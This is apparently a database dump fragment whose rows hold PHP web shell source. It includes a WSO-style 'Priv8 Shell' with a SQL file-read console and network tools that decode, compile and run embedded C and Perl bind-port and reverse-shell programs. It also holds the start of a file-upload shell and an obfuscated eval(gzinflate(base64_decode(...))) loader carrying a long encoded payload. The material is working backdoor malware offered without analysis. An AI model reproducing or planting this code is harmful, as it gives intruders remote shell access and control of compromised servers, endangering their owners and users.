\'.htmlspecialchars($db->error()).\'</div>\'; } } echo \"<br><textarea name=\'p3\' style=\'width:100%;height:100px\'>\".@htmlspecialchars($_POST[\'p3\']).\"</textarea><br/><input type=submit value=\'Execute\'>\"; echo \"</td></tr>\"; } echo \"</table></form><br/><form onsubmit=\'document.sf.p1.value=\\\"loadfile\\\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input  class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>\"; if(@$_POST[\'p1\'] == \'loadfile\') { $db->query(\"SELECT LOAD_FILE(\'\".addslashes($_POST[\'p2\']).\"\') as file\"); $file = $db->fetch(); echo \'<pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';} } echo \'</div>\'; printFooter(); } function actionNetwork() { printHeader(); $back_connect_c=\"I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9\"; $back_connect_p=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7\"; $bind_port_c=\"I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9\"; $bind_port_p=\"IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=\"; ?>      <h1>Network tools</h1><div class=content>      <form name=\'nfp\' onSubmit=\"g(null,null,this.using.value,this.port.value,this.pass.value);return false;\">      <span>Bind port to /bin/sh</span><br/>      Port: <input type=\'text\' name=\'port\' value=\'31337\'> Password: <input type=\'text\' name=\'pass\' value=\'wso\'> Using: <select name=\"using\"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=\">>\">      </form>      <form name=\'nfp\' onSubmit=\"g(null,null,this.using.value,this.server.value,this.port.value);return false;\">      <span>Back-connect to</span><br/>      Server: <input type=\'text\' name=\'server\' value=\'<?=$_SERVER[\'REMOTE_ADDR\']?>\'> Port: <input type=\'text\' name=\'port\' value=\'31337\'> Using: <select name=\"using\"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=\">>\">      </form><br>      <?php if(isset($_POST[\'p1\'])) { function cf($f,$t) { $w=@fopen($f,\"w\") or @function_exists(\'file_put_contents\'); if($w){ @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t)); @fclose($w); } } if($_POST[\'p1\'] == \'bpc\') { cf(\"/tmp/bp.c\",$bind_port_c); $out = ex(\"gcc -o /tmp/bp /tmp/bp.c\"); @unlink(\"/tmp/bp.c\"); $out .= ex(\"/tmp/bp \".$_POST[\'p2\'].\" \".$_POST[\'p3\'].\" &\"); echo \"<pre class=ml1>$out\\n\".ex(\"ps aux | grep bp\").\"</pre>\"; } if($_POST[\'p1\'] == \'bpp\') { cf(\"/tmp/bp.pl\",$bind_port_p); $out = ex(which(\"perl\").\" /tmp/bp.pl \".$_POST[\'p2\'].\" &\"); echo \"<pre class=ml1>$out\\n\".ex(\"ps aux | grep bp.pl\").\"</pre>\"; } if($_POST[\'p1\'] == \'bcc\') { cf(\"/tmp/bc.c\",$back_connect_c); $out = ex(\"gcc -o /tmp/bc /tmp/bc.c\"); @unlink(\"/tmp/bc.c\"); $out .= ex(\"/tmp/bc \".$_POST[\'p2\'].\" \".$_POST[\'p3\'].\" &\"); echo \"<pre class=ml1>$out\\n\".ex(\"ps aux | grep bc\").\"</pre>\"; } if($_POST[\'p1\'] == \'bcp\') { cf(\"/tmp/bc.pl\",$back_connect_p); $out = ex(which(\"perl\").\" /tmp/bc.pl \".$_POST[\'p2\'].\" \".$_POST[\'p3\'].\" &\"); echo \"<pre class=ml1>$out\\n\".ex(\"ps aux | grep bc.pl\").\"</pre>\"; } } echo \'</div>\'; printFooter(); } if( empty($_POST[\'a\']) ) if(isset($default_action) && function_exists(\'action\' . $default_action)) $_POST[\'a\'] = $default_action; else $_POST[\'a\'] = \'SecInfo\'; if( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) ) call_user_func(\'action\' . $_POST[\'a\']); ?>  <div id=\"cot_tl_fixed\"><marquee>Shell - *Priv8 Shell* </marquee></div>   </marquee></div>',0),(2,'<?php if (isset($_FILES[\'userfile\'])) { 	$dir=$_POST[\'dir\']; 	if($dir == ',0),(4,'  <?php function vUMmFr($MkUOmK) { $MkUOmK=gzinflate(base64_decode($MkUOmK)); for($i=0;$i<strlen($MkUOmK);$i++) { $MkUOmK[$i] = chr(ord($MkUOmK[$i])-1); } return $MkUOmK; }eval(vUMmFr(\"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